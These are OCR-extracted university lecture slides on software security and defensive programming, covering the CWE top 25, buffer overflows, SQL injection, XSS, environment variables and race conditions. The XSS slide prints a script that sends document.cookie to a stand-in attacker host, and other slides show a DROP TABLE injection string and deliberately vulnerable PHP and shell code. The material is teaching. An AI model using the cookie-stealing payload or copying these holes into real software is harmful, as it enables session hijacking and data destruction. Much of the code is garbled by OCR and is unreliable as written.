Download Understanding Software Security: Common Vulnerabilities & Defensive Programming and more Slides Computer Security in PDF only on Docsity! Lecture 17 Software Security Docsity.com Secure programs • Security implies some degree of trust that the program enforces expected – confidentiality, – integrity, and – availability. • How can we look at software component and assess its security? 2 Docsity.com CWE/SANS
Top 25 Most
Dangerous
Software
Errors
Software Error Category: Insecure Interaction Between Components
Failure to Preserve Web Page Structure (‘Cross-site Scripting’)
Failure to Preserve SQL Query Structure (aka ‘SQL Injection’)
Cross-Site Request Forgery (CSRP)
Unrestricted Upload of File with Dangerous Type
Failure to Preserve O5 Commund Structure (aka 'OS Commanal Injection)
Information Exposure Through an Error Message
URL Redirection to Untrusted Site (Open Redirect)
Race Condition
Software Error Category: Risky Resource Management
Buffer Copy without Checking Size of Input (‘Classic Butter Overflow)
Improper Limitation of « Pathname to « Restricted Directory (Path Traversal’)
Improper Control of Filename for Include/Reyuire Statement in PHP Program
(PHP File Inclusion’)
Buffer Access with Invorrect Length Value
Improper Check for Unusual or Exveptional Conditions
Improper Validation of Array Index
Integer Overflow or Wraparound
Incorrect Calculation of Buffer Sine
Download of Code Without Integrity Check
Allovation of Resources Without Limits or Throttling
Software Error Category: Porous Defenses
Improper Access Control (Authorization)
Reliance on Untrusted Inputs ina Security Decision
Missing Encryption of Sensitive Data
Use of Hard-voded Credentials
Missing Authentication for Critical Function
Incorrect Permission Assignment for Critical Resource
Use of a Broken or Risky Cryptographic Algorithm Docsity.com
Secure programs • Evaluation of what is “Secure” is subject to the perspective of the evaluator – Managers – Developers – Technicians – Clients 6 Docsity.com Software Quality and Reliability • concerned with accidental failure of program – as a result of some theoretically random, unanticipated input, system interaction, or use of incorrect code • improve using structured design and testing to identify and eliminate as many bugs as possible from a program – concern is how often they are triggered • failures are expected to follow some form of probability distribution Docsity.com Defensive Programming • also called secure programming • a form of defensive design to ensure continued function of software despite unforeseen usage • requires attention to all aspects of program execution, environment, and type of data it processes • assume nothing, check all potential errors • programmer never assumes a particular function call or library will work as advertised so handles it in the code Docsity.com Abstract Program Model
Computer System
executing algorithm,
provessing input duta,
generating output
Network Link
GUI Display
Keybourd
& Mouse Other
Programs
(® Docsity.com
Defensive Programming • programmers often make assumptions about the type of inputs a program will receive and the environment it executes in – assumptions need to be validated by the program and all potential failures handled gracefully and safely • requires a changed mindset to traditional programming practices – programmers have to understand how failures can occur and the steps needed to reduce the chance of them occurring in their programs • conflicts with business pressures to keep development times as short as possible to maximize market advantage Docsity.com Input Size & Buffer Overflow • programmers often make assumptions about the maximum expected size of input – allocated buffer size is not confirmed – resulting in buffer overflow • testing may not identify vulnerability – test inputs are unlikely to include large enough inputs to trigger the overflow • safe coding treats all input as dangerous Docsity.com Interpretation of Program Input • program input may be binary or text – binary interpretation depends on encoding and is usually application specific • there is an increasing variety of character sets being used – care is needed to identify just which set is being used and what characters are being read • failure to validate may result in an exploitable vulnerability Docsity.com Injection Attacks • flaws relating to invalid handling of input data, – specifically when program input data can accidentally or deliberately influence the flow of execution of the program • most often occur in scripting languages – encourage reuse of other programs and system utilities where possible to save coding effort – often used as Web CGI scripts Docsity.com SQL Injection Attack • user supplied input is used to construct a SQL request to retrieve information from a database • vulnerability is similar to command injection – difference is that SQL metacharacters are used rather than shell metacharacters – to prevent this type of attack the input must be validated before use Docsity.com
HI, THIS IS
YOUR SON'S SCHOOL.
WE'RE HAVING SOME
COMPUTER TROUBLE.
fn
OH, DEAR ~ DID HE
BREAK SOMETHING?
IN we “)
Rn
DID YOU REALLY
NAME YOUR SON
Robert'); DROP
TABLE Studerts:-~ 7
~ OH, YES. LITTLE
BOBBY TABLES,
WE CALL HIM.
WELL, WE'VE LOST THIS
YEAR'S STUDENT RECORDS.
TI HOPE YOURE HAPPY.
: AND IT HOPE
™~ YOUVE LEARNED
TO SANITIZE YOUR
DATABASE INPUTS,
21
SQL Injection Attack
Sname = $_REQUEST|'name']:
Squery = “SELECT * FROM suppliers WHERE name ="" . Sname ."';"
Sresult = mysql_query(Squery);
(a) Vulnerable PHP code
Sname = $_REQUEST|'name'):
Squery = “SELECT * FROM suppliers WHERE name =" .
cous suusuasesueusseueesssnentasseusiseseeswanesensanesersoaneenwanenne mysql_real_escape_string(Sname) .
Sresult = mysql_query(Squery):
(b) Safer PHP code
sit
Docsity.com
Cross Site Scripting (XSS) Attacks • attacks where input provided by one user is subsequently output to another user • commonly seen in scripted Web applications – vulnerability involves the inclusion of script code in the HTML content – script code may need to access data associated with other pages – browsers impose security checks and restrict data access to pages originating from the same site • all content from one site is equally trusted and is permitted to interact with other content from the site Docsity.com XSS reflection vulnerability • attacker includes the malicious script content in data supplied to a site • Example – user’s cookie is supplied to the attacker who could then use it to impersonate the user on the original site – to prevent this attack any user supplied input should be examined and any dangerous code removed or escaped to block its execution Docsity.com XSS Example
Thanks for this information, its great!
<script>document location='http://hacker.web.site/cookie.cgi?'+
document.cookie</script>
(a) Plain XSS example
Thanks for this information, its great!
&HO0:8F 115,899,871 14 RF 10S: #112 A] 16:62;
SALOO ALD A991 17 SH 109-2 F101 1 10,8 #116;
.:8# 108:8F 111 F998 F97 #1 16a 105111;
SALI G1 A359, KA OF AHL 16 F116 SFL 12 ASB,
SAT RAST BLOF AIT RID AF 107 AF 101 F114:
AAO ALIA LOL LAOS RH46. A #1 1S et 10589116:
SALON RAST HOD, ALLL SFT PLOT A LOS A101;
&H46: 299-88 103, 105, 8F63 8 F359: k 84387 100;
Sc 11199 AeA LL 7 eH 109; 8H 101 Se] LO 1 16,746;
SOD GALT AeA TL 1107 GF 105 8101 POO AAT,
SAL 1S H99 Re] 14 ea LOS; Se 1121 16:4 962:
(b) Encoded XSS example
27
Docsity.com
Validating Numeric Input • additional concern when input data represents numeric values • internally stored in fixed sized value – 8, 16, 32, 64-bit integers – floating point numbers depend on the processor used – values may be signed or unsigned • must correctly interpret text form and process consistently – have issues comparing signed to unsigned – could be used to thwart buffer overflow check Docsity.com Input Fuzzing • developed by Professor Barton Miller at the University of Wisconsin Madison in 1989 • software testing technique that uses randomly generated data as inputs to a program – range of inputs is very large – intent is to determine if the program or function correctly handles abnormal inputs – simple, free of assumptions, cheap – assists with reliability as well as security • can also use templates to generate classes of known problem inputs – disadvantage is that bugs triggered by other forms of input would be missed – combination of approaches is needed for reasonably comprehensive coverage of the inputs Docsity.com Writing Safe Program Code • second component is processing of data by some algorithm to solve required problem • high-level languages are typically compiled and linked into machine code which is then directly executed by the target processor • security issues: – correct algorithm implementation – correct machine instructions for algorithm – valid manipulation of data Docsity.com Ensuring Machine Language Corresponds to Algorithm • issue is ignored by most programmers – assumption is that the compiler or interpreter generates or executes code that validly implements the language statements • requires comparing machine code with original source – slow and difficult – development of computer systems with very high assurance level is the one area where this level of checking is required • specifically Common Criteria assurance level of EAL 7 Docsity.com Correct Data Interpretation • data stored as bits/bytes in computer – grouped as words or longwords – accessed and manipulated in memory or copied into processor registers before being used – interpretation depends on machine instruction executed • different languages provide different capabilities for restricting and validating interpretation of data in variables – strongly typed languages are more limited, safer – other languages allow more liberal interpretation of data and permit program code to explicitly change their interpretation Docsity.com Correct Use of Memory • issue of dynamic memory allocation – used to manipulate unknown amounts of data – allocated when needed, released when done • memory leak – steady reduction in memory available on the heap to the point where it is completely exhausted • many older languages have no explicit support for dynamic memory allocation – use standard library routines to allocate and release memory • modern languages handle automatically Docsity.com Environment Variables • collection of string values inherited by each process from its parent – can affect the way a running process behaves – included in memory when it is constructed • can be modified by the program process at any time – modifications will be passed to its children • another source of untrusted program input • most common use is by a local user attempting to gain increased privileges – goal is to subvert a program that grants superuser or administrator privileges Docsity.com Vulnerable Shell Script Example
*!bin'bash
user= echo $1 | sed ‘sf "
erep Suser /van/lovalaccounts/ipaddrs
(a) Example vulnerable privileged shell script
# bin’ bash
PATH="Ssbin:bin:/usrsbinvusr’ bin”
export PATH
user="echo $1] | sed ‘sep Rf!"
grep Suser /van/loval/accounts/ipaddirs
(b) Still Vulnerable privileged shell script
® Docsity.com
Vulnerable Compiled Programs • programs can be vulnerable to PATH variable manipulation – must reset to “safe” values • if dynamically linked may be vulnerable to manipulation of LD_LIBRARY_PATH – used to locate suitable dynamic library – must either statically link privileged programs or prevent use of this variable Docsity.com System Calls and Standard Library Functions • programs use system calls and standard library functions for common operations – programmers make assumptions about their operation – if incorrect behavior is not what is expected – may be a result of system optimizing access to shared resources – results in requests for services being buffered, resequenced, or otherwise modified to optimize system use – optimizations can conflict with program goals Docsity.com Secure File Shredder
patterns = [LOLOTOLOOLOLOLOL, LLOOL LOO, OOLIOOLL. oooo000O, TLTTILIL....
|
open file for writing
for eavh pattern
seek to sturt of file
overwrite file contents with pattern
close file
remove file
(a) Initial secure file shredding program algorithm
patterns = [LOLOTOLOOLOLOLOL, LLOOL LOO, OOLIOOLL. oooo000O, TLTTILIL....
|
open file for upelate
for eavh pattern
seek to stunt of file
overwrite file contents with pattern
flush application write butters
syne file system write buffers with device
close file
remove file
(b) Better secure file shredding program algorithm
Docsity.com
Preventing Race Conditions • programs may need to access a common system resource • need suitable synchronization mechanisms – most common technique is to acquire a lock on the shared file • lockfile – process must create and own the lockfile in order to gain access to the shared resource – concerns • if a program chooses to ignore the existence of the lockfile and access the shared resource the system will not prevent this • all programs using this form of synchronization must cooperate • implementation Docsity.com Temporary File Creation Example
char *filename;
int fd:
do {
filename = tempnam (NULL, "foo");
fd = open (filename, O_CREAT | O_EXCL1O_TRUNC | O_RDWR, 0600),
free (filename);
} while (fd == =1);
Docsity.com
Other Program Interaction • programs may use functionality and services of other programs – security vulnerabilities can result unless care is taken with this interaction • such issues are of particular concern when the program being used did not adequately identify all the security concerns that might arise • occurs with the current trend of providing Web interfaces to programs • burden falls on the newer programs to identify and manage any security issues that may arise • issue of data confidentiality / integrity • detection and handling of exceptions and errors generated by interaction is also important from a security perspective Docsity.com Handling Program Output • final component is program output – may be stored for future use, sent over net, displayed – may be binary or text • important from a program security perspective that the output conform to the expected form and interpretation • programs must identify what is permissible output content and filter any possibly untrusted data to ensure that only valid output is displayed • character set should be specified Docsity.com